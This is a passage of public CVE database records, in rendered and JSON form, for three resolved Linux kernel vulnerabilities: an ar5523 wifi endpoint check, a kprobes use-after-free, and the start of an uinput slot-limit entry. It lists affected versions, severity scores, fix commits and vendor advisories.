                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ar5523: enable proper endpoint verification\n\nSyzkaller reports [1] hitting a warning about an endpoint in use\nnot having an expected type to it.\n\nFix the issue by checking for the existence of all proper\nendpoints with their according types intact.\n\nSadly, this patch has not been tested on real hardware.\n\n[1] Syzkaller report:\n------------[ cut here ]------------\nusb 1-1: BOGUS urb xfer, pipe 3 != type 1\nWARNING: CPU: 0 PID: 3643 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed6/0x1880 drivers/usb/core/urb.c:504\n...\nCall Trace:\n \u003cTASK\u003e\n ar5523_cmd+0x41b/0x780 drivers/net/wireless/ath/ar5523/ar5523.c:275\n ar5523_cmd_read drivers/net/wireless/ath/ar5523/ar5523.c:302 [inline]\n ar5523_host_available drivers/net/wireless/ath/ar5523/ar5523.c:1376 [inline]\n ar5523_probe+0x14b0/0x1d10 drivers/net/wireless/ath/ar5523/ar5523.c:1655\n usb_probe_interface+0x30f/0x7f0 drivers/usb/core/driver.c:396\n call_driver_probe drivers/base/dd.c:560 [inline]\n really_probe+0x249/0xb90 drivers/base/dd.c:639\n __driver_probe_device+0x1df/0x4d0 drivers/base/dd.c:778\n driver_probe_device+0x4c/0x1a0 drivers/base/dd.c:808\n __device_attach_driver+0x1d4/0x2e0 drivers/base/dd.c:936\n bus_for_each_drv+0x163/0x1e0 drivers/base/bus.c:427\n __device_attach+0x1e4/0x530 drivers/base/dd.c:1008\n bus_probe_device+0x1e8/0x2a0 drivers/base/bus.c:487\n device_add+0xbd9/0x1e90 drivers/base/core.c:3517\n usb_set_configuration+0x101d/0x1900 drivers/usb/core/message.c:2170\n usb_generic_driver_probe+0xbe/0x100 drivers/usb/core/generic.c:238\n usb_probe_device+0xd8/0x2c0 drivers/usb/core/driver.c:293\n call_driver_probe drivers/base/dd.c:560 [inline]\n really_probe+0x249/0xb90 drivers/base/dd.c:639\n __driver_probe_device+0x1df/0x4d0 drivers/base/dd.c:778\n driver_probe_device+0x4c/0x1a0 drivers/base/dd.c:808\n __device_attach_driver+0x1d4/0x2e0 drivers/base/dd.c:936\n bus_for_each_drv+0x163/0x1e0 drivers/base/bus.c:427\n __device_attach+0x1e4/0x530 drivers/base/dd.c:1008\n bus_probe_device+0x1e8/0x2a0 drivers/base/bus.c:487\n device_add+0xbd9/0x1e90 drivers/base/core.c:3517\n usb_new_device.cold+0x685/0x10ad drivers/usb/core/hub.c:2573\n hub_port_connect drivers/usb/core/hub.c:5353 [inline]\n hub_port_connect_change drivers/usb/core/hub.c:5497 [inline]\n port_event drivers/usb/core/hub.c:5653 [inline]\n hub_event+0x26cb/0x45d0 drivers/usb/core/hub.c:5735\n process_one_work+0x9bf/0x1710 kernel/workqueue.c:2289\n worker_thread+0x669/0x1090 kernel/workqueue.c:2436\n kthread+0x2e8/0x3a0 kernel/kthread.c:376\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:10.202Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/79ddf5f2020fd593d50f1363bb5131283d74f78f"
        },
        {
          "url": "https://git.kernel.org/stable/c/68a5a00c5d38978a3f8460c6f182f7beec8688ff"
        },
        {
          "url": "https://git.kernel.org/stable/c/ee25389df80138907bc9dcdf4a2be2067cde9a81"
        },
        {
          "url": "https://git.kernel.org/stable/c/b4c24de37a6bb383394a6fef2b85a6db41d426f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/34f7ebff1b9699e0b89fa58b693bc098c2f5ec72"
        },
        {
          "url": "https://git.kernel.org/stable/c/b33a81e4ecfb022b028cae37d1c1ce28ac1b359d"
        },
        {
          "url": "https://git.kernel.org/stable/c/beeed260b92af158592f5e8d2dab65dae45c6f70"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bbf76c9bb2c58375e183074e44f9712483f0603"
        },
        {
          "url": "https://git.kernel.org/stable/c/e120b6388d7d88635d67dcae6483f39c37111850"
        }
      ],
      "title": "wifi: ar5523: enable proper endpoint verification",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38565",
    "datePublished": "2024-06-19T13:35:32.920Z",
    "dateReserved": "2024-06-18T19:36:34.923Z",
    "dateUpdated": "2026-05-12T11:54:40.931Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35955 (GCVE-0-2024-35955)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

kprobes: Fix possible use-after-free issue on kprobe registration

Summary

In the Linux kernel, the following vulnerability has been resolved: kprobes: Fix possible use-after-free issue on kprobe registration When unloading a module, its state is changing MODULE_STATE_LIVE -> MODULE_STATE_GOING -> MODULE_STATE_UNFORMED. Each change will take a time. `is_module_text_address()` and `__module_text_address()` works with MODULE_STATE_LIVE and MODULE_STATE_GOING. If we use `is_module_text_address()` and `__module_text_address()` separately, there is a chance that the first one is succeeded but the next one is failed because module->state becomes MODULE_STATE_UNFORMED between those operations. In `check_kprobe_address_safe()`, if the second `__module_text_address()` is failed, that is ignored because it expected a kernel_text address. But it may have failed simply because module->state has been changed to MODULE_STATE_UNFORMED. In this case, arm_kprobe() will try to modify non-exist module text address (use-after-free). To fix this problem, we should not use separated `is_module_text_address()` and `__module_text_address()`, but use only `__module_text_address()` once and do `try_module_get(module)` which is only available with MODULE_STATE_LIVE.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b5808d40093403334…
https://git.kernel.org/stable/c/93eb31e7c3399e326…
https://git.kernel.org/stable/c/5062d1f4f07facbda…
https://git.kernel.org/stable/c/2df2dd27066cdba80…
https://git.kernel.org/stable/c/62029bc9ff2c17a4e…
https://git.kernel.org/stable/c/d15023fb407337028…
https://git.kernel.org/stable/c/36b57c7d2f8b7de22…
https://git.kernel.org/stable/c/325f3fb551f8cd672…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1c836bad43f3e2ff71cc397a6e6ccb4e7bd116f8 , < b5808d40093403334d939e2c3c417144d12a6f33 (git) Affected: 6a119c1a584aa7a2c6216458f1f272bf1bc93a93 , < 93eb31e7c3399e326259f2caa17be1e821f5a412 (git) Affected: 2a49b025c36ae749cee7ccc4b7e456e02539cdc3 , < 5062d1f4f07facbdade0f402d9a04a788f52e26d (git) Affected: a1edb85e60fdab1e14db63ae8af8db3f0d798fb6 , < 2df2dd27066cdba8041e46a64362325626bdfb2e (git) Affected: 28f6c37a2910f565b4f5960df52b2eccae28c891 , < 62029bc9ff2c17a4e3a2478d83418ec575413808 (git) Affected: 28f6c37a2910f565b4f5960df52b2eccae28c891 , < d15023fb407337028a654237d8968fefdcf87c2f (git) Affected: 28f6c37a2910f565b4f5960df52b2eccae28c891 , < 36b57c7d2f8b7de224980f1a284432846ad71ca0 (git) Affected: 28f6c37a2910f565b4f5960df52b2eccae28c891 , < 325f3fb551f8cd672dbbfc4cf58b14f9ee3fc9e8 (git) Affected: 4262b6eb057d86c7829168c541654fe0d48fdac8 (git) Affected: 97e813e6a143edf4208e15c72199c495ed80cea5 (git) Affected: 16a544f1e013ba0660612f3fe35393b143b19a84 (git)
Linux	Linux	Affected: 6.0 Unaffected: 0 , < 6.0 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "b5808d400934",
                "status": "affected",
                "version": "1c836bad43f3",
                "versionType": "git"
              },
              {
                "lessThan": "93eb31e7c339",
                "status": "affected",
                "version": "6a119c1a584a",
                "versionType": "git"
              },
              {
                "lessThan": "93eb31e7c339",
                "status": "affected",
                "version": "2a49b025c36a",
                "versionType": "git"
              },
              {
                "lessThan": "2df2dd27066c",
                "status": "affected",
                "version": "a1edb85e60fd",
                "versionType": "git"
              },
              {
                "lessThan": "62029bc9ff2c",
                "status": "affected",
                "version": "28f6c37a2910",
                "versionType": "git"
              },
              {
                "lessThan": "d15023fb4073",
                "status": "affected",
                "version": "28f6c37a2910",
                "versionType": "git"
              },
              {
                "lessThan": "36b57c7d2f8b",
                "status": "affected",
                "version": "28f6c37a2910",
                "versionType": "git"
              },
              {
                "lessThan": "325f3fb551f8",
                "status": "affected",
                "version": "28f6c37a2910",
                "versionType": "git"
              },
              {
                "status": "affected",
                "version": "6.0"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35955",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:42:32.103628Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-01T13:44:14.513Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.971Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b5808d40093403334d939e2c3c417144d12a6f33"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93eb31e7c3399e326259f2caa17be1e821f5a412"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5062d1f4f07facbdade0f402d9a04a788f52e26d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2df2dd27066cdba8041e46a64362325626bdfb2e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62029bc9ff2c17a4e3a2478d83418ec575413808"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d15023fb407337028a654237d8968fefdcf87c2f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/36b57c7d2f8b7de224980f1a284432846ad71ca0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/325f3fb551f8cd672dbbfc4cf58b14f9ee3fc9e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:10.672Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/kprobes.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b5808d40093403334d939e2c3c417144d12a6f33",
              "status": "affected",
              "version": "1c836bad43f3e2ff71cc397a6e6ccb4e7bd116f8",
              "versionType": "git"
            },
            {
              "lessThan": "93eb31e7c3399e326259f2caa17be1e821f5a412",
              "status": "affected",
              "version": "6a119c1a584aa7a2c6216458f1f272bf1bc93a93",
              "versionType": "git"
            },
            {
              "lessThan": "5062d1f4f07facbdade0f402d9a04a788f52e26d",
              "status": "affected",
              "version": "2a49b025c36ae749cee7ccc4b7e456e02539cdc3",
              "versionType": "git"
            },
            {
              "lessThan": "2df2dd27066cdba8041e46a64362325626bdfb2e",
              "status": "affected",
              "version": "a1edb85e60fdab1e14db63ae8af8db3f0d798fb6",
              "versionType": "git"
            },
            {
              "lessThan": "62029bc9ff2c17a4e3a2478d83418ec575413808",
              "status": "affected",
              "version": "28f6c37a2910f565b4f5960df52b2eccae28c891",
              "versionType": "git"
            },
            {
              "lessThan": "d15023fb407337028a654237d8968fefdcf87c2f",
              "status": "affected",
              "version": "28f6c37a2910f565b4f5960df52b2eccae28c891",
              "versionType": "git"
            },
            {
              "lessThan": "36b57c7d2f8b7de224980f1a284432846ad71ca0",
              "status": "affected",
              "version": "28f6c37a2910f565b4f5960df52b2eccae28c891",
              "versionType": "git"
            },
            {
              "lessThan": "325f3fb551f8cd672dbbfc4cf58b14f9ee3fc9e8",
              "status": "affected",
              "version": "28f6c37a2910f565b4f5960df52b2eccae28c891",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4262b6eb057d86c7829168c541654fe0d48fdac8",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "97e813e6a143edf4208e15c72199c495ed80cea5",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "16a544f1e013ba0660612f3fe35393b143b19a84",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/kprobes.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.0"
            },
            {
              "lessThan": "6.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.19.256",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.4.211",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.10.137",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "5.15.61",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.291",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.18.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.19.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nkprobes: Fix possible use-after-free issue on kprobe registration\n\nWhen unloading a module, its state is changing MODULE_STATE_LIVE -\u003e\n MODULE_STATE_GOING -\u003e MODULE_STATE_UNFORMED. Each change will take\na time. `is_module_text_address()` and `__module_text_address()`\nworks with MODULE_STATE_LIVE and MODULE_STATE_GOING.\nIf we use `is_module_text_address()` and `__module_text_address()`\nseparately, there is a chance that the first one is succeeded but the\nnext one is failed because module-\u003estate becomes MODULE_STATE_UNFORMED\nbetween those operations.\n\nIn `check_kprobe_address_safe()`, if the second `__module_text_address()`\nis failed, that is ignored because it expected a kernel_text address.\nBut it may have failed simply because module-\u003estate has been changed\nto MODULE_STATE_UNFORMED. In this case, arm_kprobe() will try to modify\nnon-exist module text address (use-after-free).\n\nTo fix this problem, we should not use separated `is_module_text_address()`\nand `__module_text_address()`, but use only `__module_text_address()`\nonce and do `try_module_get(module)` which is only available with\nMODULE_STATE_LIVE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:25.959Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b5808d40093403334d939e2c3c417144d12a6f33"
        },
        {
          "url": "https://git.kernel.org/stable/c/93eb31e7c3399e326259f2caa17be1e821f5a412"
        },
        {
          "url": "https://git.kernel.org/stable/c/5062d1f4f07facbdade0f402d9a04a788f52e26d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2df2dd27066cdba8041e46a64362325626bdfb2e"
        },
        {
          "url": "https://git.kernel.org/stable/c/62029bc9ff2c17a4e3a2478d83418ec575413808"
        },
        {
          "url": "https://git.kernel.org/stable/c/d15023fb407337028a654237d8968fefdcf87c2f"
        },
        {
          "url": "https://git.kernel.org/stable/c/36b57c7d2f8b7de224980f1a284432846ad71ca0"
        },
        {
          "url": "https://git.kernel.org/stable/c/325f3fb551f8cd672dbbfc4cf58b14f9ee3fc9e8"
        }
      ],
      "title": "kprobes: Fix possible use-after-free issue on kprobe registration",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35955",
    "datePublished": "2024-05-20T09:41:48.607Z",
    "dateReserved": "2024-05-17T13:50:33.136Z",
    "dateUpdated": "2026-05-12T11:53:10.672Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46745 (GCVE-0-2024-46745)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

Input: uinput - reject requests with unreasonable number of slots

Summary

In the Linux kernel, the following vulnerability has been resolved: Input: uinput - reject requests with unreasonable number of slots When exercising uinput interface syzkaller may try setting up device with a really large number of slots, which causes memory allocation failure in input_mt_init_slots(). While this allocation failure is handled properly and request is rejected, it results in syzkaller reports. Additionally, such request may put undue burden on the system which will try to free a lot of memory for a bogus request. Fix it by limiting allowed number of slots to 100. This can easily be extended if we see devices that can track more than 100 contacts.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/9c6d189f0c1c59ba9…
https://git.kernel.org/stable/c/597ff930296c4c8fc…
https://git.kernel.org/stable/c/51fa08edd80003db7…
https://git.kernel.org/stable/c/9719687398dea8a6a…
https://git.kernel.org/stable/c/61df76619e270a46f…
https://git.kernel.org/stable/c/a4858b00a1ec57043…
https://git.kernel.org/stable/c/d76fc0f0b18d49b7e…
https://git.kernel.org/stable/c/206f533a0a7c68398…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 9c6d189f0c1c59ba9a32326ec82a0b367a3cd47b (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 597ff930296c4c8fc6b6a536884d4f1a7187ec70 (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 51fa08edd80003db700bdaa099385c5900d27f4b (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 9719687398dea8a6a12a10321a54dd75eec7ab2d (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 61df76619e270a46fd427fbdeb670ad491c42de2 (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < a4858b00a1ec57043697fb935565fe267f161833 (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < d76fc0f0b18d49b7e721c9e4975ef4bffde2f3e7 (git) Affected: 38e7afe96c7c0ad900824911c61fdb04078033dc , < 206f533a0a7c683982af473079c4111f4a0f9f5e (git)
Linux	Linux	Affected: 2.6.36 Unaffected: 0 , < 2.6.36 (semver) Unaffected: 4.19.322 , ≤ 4.19.* (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46745",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:49:11.611047Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:49:25.877Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:17:38.493Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:50.187Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/input/misc/uinput.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9c6d189f0c1c59ba9a32326ec82a0b367a3cd47b",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
